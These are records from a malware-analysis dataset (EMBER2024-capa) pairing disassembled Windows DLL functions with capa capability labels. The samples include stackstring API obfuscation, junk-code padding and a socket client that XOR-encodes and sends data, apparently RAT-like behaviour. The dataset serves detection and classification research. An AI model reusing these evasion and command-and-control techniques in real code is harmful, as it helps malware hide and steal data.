joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005f50
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10053790
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x1005f004]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
movaps xmm0, xmmword [0x100547b0]
lea eax, [ebp - 0x38]
mov edi, dword [ebp + 8]
push eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x44], 0
push eax
movups xmmword [ebp - 0x38], xmm0
mov word [ebp - 0x28], 0x4172
mov byte [ebp - 0x26], 0
mov dword [ebp - 0x24], 0x736e6977
mov dword [ebp - 0x20], 0x6c6f6f70
mov dword [ebp - 0x1c], 0x7672642e
mov byte [ebp - 0x18], 0
call fcn.1000a980
mov esi, eax
add esp, 8
test esi, esi
je 0x1000601e
cmp byte [0x100614fe], 0
mov dword [ebp - 0x40], 0x104
je 0x10005fe1
call fcn.100068c0
lea eax, [ebp - 0x40]
mov dword [ebp - 4], 0
push eax
push edi
call esi
jmp 0x10005ffa
mov dword [ebp - 0x3c], eax
push esi
mov esi, 0x596b0096
mov esi, 0x9a23ad3a
nop
pop esi
cmp byte [0x100614fe], 0
je 0x10006019
call dword [sym.imp.ADVAPI32.dll_RevertToSelf]
mov eax, dword [ebp - 0x3c]
jmp 0x10006020
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10010ee3
mov esp, ebp
pop ebp
ret

Function at 0x10006050
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
mov eax, dword [0x1005f004]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x100611be], 0
push ebx
push esi
push edi
je 0x10006147
movaps xmm0, xmmword [0x100548a0]
movups xmmword [ebp - 0x24], xmm0
mov word [ebp - 0x14], 0x73
mov dword [ebp - 0x10], 0x72657375
mov dword [ebp - 0xc], 0x642e3233
mov word [ebp - 8], 0x6c6c
mov byte [ebp - 6], 0
push eax
mov eax, 0x9bf450ad
mov eax, 0x7bca1c6f
sbb eax, eax
sbb eax, esp
nop
pop eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x78], eax
test eax, eax
jne 0x100060f0
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x10006147
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x78], eax
test eax, eax
je 0x10006147
call fcn.1001c67b
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0x50
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x74]
push 0
push eax
call fcn.10012c40
add esp, 0xc
push ecx
add ecx, esi
xor ecx, eax
add ecx, edx
add ecx, esp
mov ecx, 0xb81777d9
nop
pop ecx
lea eax, [ebp - 0x74]
push 0x50
push eax
push 4
lea eax, [ebp - 0x7c]
push eax
push 1
call dword [ebp - 0x78]
test eax, eax
je 0x10006147
mov eax, dword [ebp - 0x60]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10010ee3
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10010ee3
mov esp, ebp
pop ebp
ret
Function at 0x10009410
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x1005f004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0x14]
push ebx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0x18]
push esi
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 0x1c]
push edi
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x24], 0x61657243
mov dword [ebp - 0x20], 0x68546574
mov dword [ebp - 0x1c], 0x64616572
mov byte [ebp - 0x18], 0
mov dword [ebp - 0x14], 0x6e72654b
mov dword [ebp - 0x10], 0x32336c65
mov dword [ebp - 0xc], 0x6c6c642e
mov byte [ebp - 8], 0
push ecx
add ecx, eax
sbb ecx, edx
sbb ecx, esp
add ecx, esi
mov ecx, 0x12c3772d
or ecx, ecx
pop ecx
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x28], eax
test eax, eax
jne 0x100094e3
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x100094d0
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x28], eax
test eax, eax
jne 0x100094e3
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10010ee3
mov esp, ebp
pop ebp
ret
push esi
sbb esi, esi
add esi, esp
sbb esi, edx
sbb esi, eax
add esi, esi
sbb esi, esp
or esi, ebx
pop esi
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
push dword [ebp - 0x34]
push dword [ebp - 0x38]
push dword [ebp - 0x3c]
push dword [ebp - 0x40]
call dword [ebp - 0x28]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10010ee3
mov esp, ebp
pop ebp
ret
Function at 0x1000ae30
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x1005f004]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x10054800]
push ebx
push esi
push edi
movups xmmword [ebp - 0x24], xmm0
mov word [ebp - 0x14], 0x4165
mov byte [ebp - 0x12], 0
mov dword [ebp - 0x10], 0x72657375
mov dword [ebp - 0xc], 0x642e3233
mov word [ebp - 8], 0x6c6c
mov byte [ebp - 6], 0
push edx
mov edx, 0x1d21a730
xor edx, esi
sbb edx, esp
xor edx, edx
xor edx, eax
sbb edx, esi
pop edx
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x28], eax
test eax, eax
jne 0x1000aeda
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x1000aec7
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x28], eax
test eax, eax
jne 0x1000aeda
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10010ee3
mov esp, ebp
pop ebp
ret
push esi
mov esi, 0x3dec9e52
sbb esi, esi
sbb esi, esp
add esi, edx
nop
pop esi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [ebp - 0x28]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10010ee3
mov esp, ebp
pop ebp
ret

Function at 0x1000bb20
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x1005f004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
movaps xmm0, xmmword [0x100548c0]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0xc]
push ebx
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 0x10]
push esi
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0x14]
push edi
mov dword [ebp - 0x28], eax
movups xmmword [ebp - 0x24], xmm0
mov word [ebp - 0x14], 0x41
mov dword [ebp - 0x10], 0x72657375
mov dword [ebp - 0xc], 0x642e3233
mov word [ebp - 8], 0x6c6c
mov byte [ebp - 6], 0
push edx
mov edx, 0x22f64d26
mov edx, 0x18e2af7e
nop
pop edx
push edx
mov edx, 0x8a458140
mov edx, 0x3b3661b
xor edx, esp
add edx, esp
nop
pop edx
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x1000bbe5
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x1000bbd2
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x1000bbe5
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10010ee3
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
push dword [ebp - 0x34]
call eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10010ee3
mov esp, ebp
pop ebp
ret
Function at 0x1000c220
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100539d0
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x1005f004]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp eax, dword [0x100611dc]
jne 0x1000c3b5
cmp byte [0x100611b5], 0
je 0x1000c3b5
call fcn.1001c67b
cmp eax, 0xffffffff
jne 0x1000c281
push 0
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
mov eax, dword [ebp + 8]
cmp eax, 0xffffffff
jne 0x1000c326
cmp dword [0x10061604], 0
jne 0x1000c3ae
mov dword [ebp - 0x24], 0x61657243
mov dword [ebp - 0x20], 0x68546574
mov dword [ebp - 0x1c], 0x64616572
mov byte [ebp - 0x18], 0
mov dword [ebp - 0x34], 0x6e72654b
mov dword [ebp - 0x30], 0x32336c65
mov dword [ebp - 0x2c], 0x6c6c642e
mov byte [ebp - 0x28], 0
push edx
xor edx, esi
add edx, esp
add edx, edx
xor edx, eax
sub edx, edi
sub edx, ebp
pop edx
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.1000a920
add esp, 8
test eax, eax
je 0x1000c3ae
push 0x1006166c
push 0
push 0
push 0x10008ed0
push 0
push 0
call eax
mov dword [0x10061604], eax
test eax, eax
je 0x1000c3ae
push 0xf
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov eax, 1
jmp 0x1000c3b8
cmp eax, 0xfffffffe
jne 0x1000c38f
cmp dword [0x10061604], 0
je 0x1000c3ae
push 0
push 0
push 0x7ebc
push dword [0x1006166c]
mov dword [ebp - 4], 0
call fcn.1000ae30
add esp, 0x10
push eax
mov eax, 0x2a6c3076
mov eax, 0xfc356fab
nop
pop eax
mov esi, dword [0x10061604]
mov dword [0x10061604], 0
push 0xfa0
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1000c3b8
cmp eax, 0xfffffffd
jne 0x1000c3a4
cmp byte [0x10061883], 0
je 0x1000c3ae
mov eax, 2
jmp 0x1000c3b8
cmp eax, 1
sete byte [0x100611b4]
mov eax, 1
jmp 0x1000c3b8
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10010ee3
mov esp, ebp
pop ebp
ret 4
Function at 0x1000ce60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10053a30
mov eax, dword fs:[0]
push eax
sub esp, 0xc0
mov eax, dword [0x1005f004]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 4], 0
mov dword [ebp - 0xc8], 0x94
mov dword [ebp - 0x24], 0x6e72654b
mov dword [ebp - 0x20], 0x32336c65
mov dword [ebp - 0x1c], 0x6c6c642e
mov byte [ebp - 0x18], 0
mov dword [ebp - 0x34], 0x56746547
mov dword [ebp - 0x30], 0x69737265
mov dword [ebp - 0x2c], 0x78456e6f
mov word [ebp - 0x28], 0x41
push eax
mov eax, 0xbb51e882
mov eax, 0xed790796
mov eax, 0xd254d7dc
pop eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xcc], eax
test eax, eax
jne 0x1000cf2f
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x1000cf2f
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xcc], eax
push ebx
mov ebx, 0x270aeed5
mov ebx, 0xd6af8a67
add ebx, esi
add ebx, eax
pop ebx
lea eax, [ebp - 0xc8]
push eax
call dword [ebp - 0xcc]
test eax, eax
je 0x1000cf6d
cmp dword [ebp - 0xb8], 2
jb 0x1000cf6d
mov ecx, dword [ebp - 0xc4]
cmp ecx, 5
jb 0x1000cf73
mov byte [0x10061882], 1
jmp 0x1000cf83
mov ecx, dword [ebp - 0xc4]
cmp byte [0x10061882], 0
mov byte [0x100611bf], 1
je 0x1000cfc2
movzx eax, byte [0x100611bd]
cmp ecx, 6
mov edx, 1
cmovae eax, edx
mov byte [0x100611bd], al
push eax
mov eax, 0x1f2b3949
sbb eax, esi
add eax, edx
sbb eax, esi
pop eax
movzx eax, byte [0x100614fc]
mov ecx, 1
cmp dword [ebp - 0xc4], 0xa
cmovae eax, ecx
mov byte [0x100614fc], al
mov byte [0x100614fd], 1
call fcn.1001c67b
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10010ee3
mov esp, ebp
pop ebp
ret
Function at 0x1000d150
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10053a60
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x1005f004]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push 0x40
push 0
push 0x10061d00
mov dword [ebp - 4], 0
call fcn.10012c40
movaps xmm0, xmmword [0x10054720]
add esp, 0xc
mov dword [0x10061d80], 0x40
mov dword [ebp - 0x24], 0x6e72654b
mov dword [ebp - 0x20], 0x32336c65
mov dword [ebp - 0x1c], 0x6c6c642e
mov byte [ebp - 0x18], 0
movups xmmword [ebp - 0x38], xmm0
mov byte [ebp - 0x28], 0
push esi
xor esi, esi
mov esi, 0xc76f19c4
add esi, esp
sbb esi, esp
sbb esi, esp
sub esi, ebp
pop esi
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
jne 0x1000d219
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x1000d219
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push 0x10061d80
push 0x10061d00
call esi
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetMessageA]
push esi
mov esi, 0xae03d9b2
add esi, eax
nop
pop esi
mov eax, dword [0x10061d80]
cmp eax, 0xfffffe0e
jne 0x1000d25d
cmp byte [0x100611b5], 0
jne 0x1000d262
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov eax, dword [0x10061d80]
cmp eax, 5
jbe 0x1000d26c
mov dword [0x10061d80], 5
push 0x10061d00
call fcn.1002df83
mov ecx, dword [0x10061d80]
mov eax, 0x40
sub eax, ecx
push eax
push 0
lea eax, [ecx*2 + 0x10061d00]
push eax
call fcn.10012c40
push 0x10061d00
call fcn.1002e1c1
add esp, 0x14
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10010ee3
mov esp, ebp
pop ebp
ret
Function at 0x1000d920
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x1005f004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x28], eax
push ebx
push esi
push edi
test eax, eax
je 0x1000d9f1
movaps xmm0, xmmword [0x10054860]
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x14], 0x78456b
mov dword [ebp - 0x10], 0x72657375
mov dword [ebp - 0xc], 0x642e3233
mov word [ebp - 8], 0x6c6c
mov byte [ebp - 6], 0
push eax
mov eax, 0xf28214a7
sbb eax, edx
xor eax, edx
nop
pop eax
push eax
sbb eax, edx
add eax, esi
sbb eax, edx
sbb eax, esi
add eax, edx
mov eax, 0x99fc62c9
pop eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x1000d9db
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x1000d9c8
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x1000d9db
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10010ee3
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x28]
call eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10010ee3
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10010ee3
mov esp, ebp
pop ebp
ret
Function at 0x1000fa70
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor eax, eax
push esi
push edi
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], eax
jle 0x1000fafe
mov ebx, dword [ebp + 8]
mov edi, dword [ebx + 8]
test edi, edi
jne 0x1000faba
push dword [ebx]
call fcn.10032a0b
add esp, 4
mov dword [ebx + 4], eax
cmp eax, 0xffffffff
je 0x1000fb05
push edi
mov edi, 0xcfd6dfea
mov edi, 0xcac7c6c7
and edi, ecx
pop edi
mov ebx, dword [ebp + 8]
mov edi, 8
mov dword [ebx + 8], 8
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, dword [ebp + 0xc]
mov eax, 1
mov edx, dword [ebx + 4]
cmp esi, edi
cmovge esi, edi
mov edi, dword [ebx + 8]
sub edi, esi
mov ecx, edi
mov dword [ebx + 8], edi
sar edx, cl
mov ecx, esi
shl eax, cl
dec eax
and edx, eax
mov eax, dword [ebp - 4]
shl eax, cl
or eax, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
sub eax, esi
mov dword [ebp + 0xc], eax
test eax, eax
jg 0x1000fa87
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1003eebe
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1003eac3

Function at 0x1004196a
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10041144

Function at 0x10041975
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1004137f

Function at 0x1004c61c
Capabilities:
Create thread
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1004c3a3
Function at 0x100013d0
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10013f9a
mov eax, dword fs:[0]
push eax
sub esp, 0x19c
mov eax, dword [0x1001a280]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
lea ecx, [esi + 4]
mov dword [ebp - 0x1a8], esi
mov dword [esi], vtable.CClientSocket.0
call fcn.10001000
lea ecx, [esi + 0x2c]
mov dword [ebp - 4], 0
call fcn.10001000
lea ecx, [esi + 0x54]
mov byte [ebp - 4], 1
call fcn.10001000
lea ecx, [esi + 0x7c]
mov byte [ebp - 4], 2
call fcn.10001000
lea eax, [ebp - 0x1a0]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp - 0x1a8], 0x2a264024
mov ecx, dword [ebp - 0x1a8]
mov dword [esi + 0xac], eax
mov word [esi + 0xb4], 0x25
mov dword [esi + 0xa8], 0xffffffff
mov dword [esi + 0xb0], ecx
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10008710
mov esp, ebp
pop ebp
ret

Function at 0x100015a0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x1001a280]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
call fcn.100016e0
push dword [esi + 0xac]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 6
push 1
push 2
mov byte [esi + 0xb5], 0
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0xa8], eax
cmp eax, 0xffffffff
jne 0x100015fa
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10008710
mov esp, ebp
pop ebp
ret 8
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
je 0x100015e6
push dword [ebp + 0xc]
mov eax, 2
mov word [ebp - 0x20], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1e], ax
mov eax, dword [edi + 0xc]
push 0x10
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x20]
push eax
push dword [esi + 0xa8]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x100015e6
push 4
lea eax, [ebp - 0x24]
push eax
push 8
push 0xffff
push dword [esi + 0xa8]
mov dword [ebp - 0x24], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x10001698
push eax
push eax
lea eax, [ebp - 0x28]
push eax
push 0
push 0
push 0xc
lea eax, [ebp - 0x10]
push eax
push 0x98000004
push dword [esi + 0xa8]
mov dword [ebp - 0x10], 1
mov dword [ebp - 0xc], 0x2bf20
mov dword [ebp - 8], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 1
push 0
push 0
push esi
push 0x10001bd0
push 0
push 0
mov byte [esi + 0xb5], 1
call fcn.10002200
mov ecx, dword [ebp - 4]
add esp, 0x1c
mov dword [esi + 0xa4], eax
pop edi
xor ecx, ebp
mov al, 1
pop esi
call fcn.10008710
mov esp, ebp
pop ebp
ret 8
Function at 0x10001af0
Capabilities:
Encode data using xor
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov dword [ebp - 8], ecx
mov ecx, dword [ebp + 0xc]
push esi
xor edx, edx
push edi
mov edi, dword [ebp + 8]
test ecx, ecx
jle 0x10001b17
mov al, byte [edx + edi]
xor al, 0x91
sub al, 0x67
mov byte [edx + edi], al
inc edx
cmp edx, ecx
jl 0x10001b08
mov ebx, dword [ebp + 0x10]
mov edx, dword [sym.imp.WS2_32.dll_send]
xor esi, esi
mov dword [ebp - 4], esi
mov dword [ebp + 8], ecx
cmp ecx, ebx
jb 0x10001b7a
lea esp, [esp]
xor esi, esi
mov eax, dword [ebp - 8]
push 0
push ebx
push edi
push dword [eax + 0xa8]
call edx
test eax, eax
jg 0x10001b51
mov edx, dword [sym.imp.WS2_32.dll_send]
inc esi
cmp esi, 0xf
jl 0x10001b32
cmp esi, 0xf
je 0x10001bbe
mov esi, dword [ebp - 4]
add esi, eax
push 0xa
mov dword [ebp - 4], esi
add edi, ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp + 8]
mov edx, dword [sym.imp.WS2_32.dll_send]
sub ecx, ebx
mov dword [ebp + 8], ecx
cmp ecx, ebx
jae 0x10001b30
test ecx, ecx
jle 0x10001bac
xor esi, esi
mov eax, dword [ebp - 8]
push 0
push ecx
push edi
push dword [eax + 0xa8]
call edx
test eax, eax
jg 0x10001ba2
mov ecx, dword [ebp + 8]
mov edx, dword [sym.imp.WS2_32.dll_send]
inc esi
cmp esi, 0xf
jl 0x10001b80
cmp esi, 0xf
je 0x10001bbe
mov esi, dword [ebp - 4]
add esi, eax
or eax, 0xffffffff
cmp esi, dword [ebp + 0xc]
pop edi
cmove eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x10001e70
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
mov eax, dword [0x1001a280]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x9c
lea eax, [ebp - 0xa0]
push 0
push eax
call fcn.10008b90
add esp, 0xc
lea eax, [ebp - 0xa0]
push eax
mov dword [ebp - 0xa0], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x10001edd
lea eax, [ebp - 0xa0]
push eax
mov dword [ebp - 0xa0], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x10001edd
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10008710
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 0x9c], 5
jne 0x10001f02
cmp dword [ebp - 0x98], 0
jne 0x10001f02
call fcn.10001f20
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10008710
mov esp, ebp
pop ebp
ret
call fcn.100020e0
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10008710
mov esp, ebp
pop ebp
ret

Function at 0x100020e0
Capabilities:
Get session information
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 5
push 0xffffffffffffffff
push 0
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x10002134
push esi
push 0x100
call fcn.1000869c
add esp, 4
mov esi, eax
push dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [ebp - 4]
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
mov esp, ebp
pop ebp
ret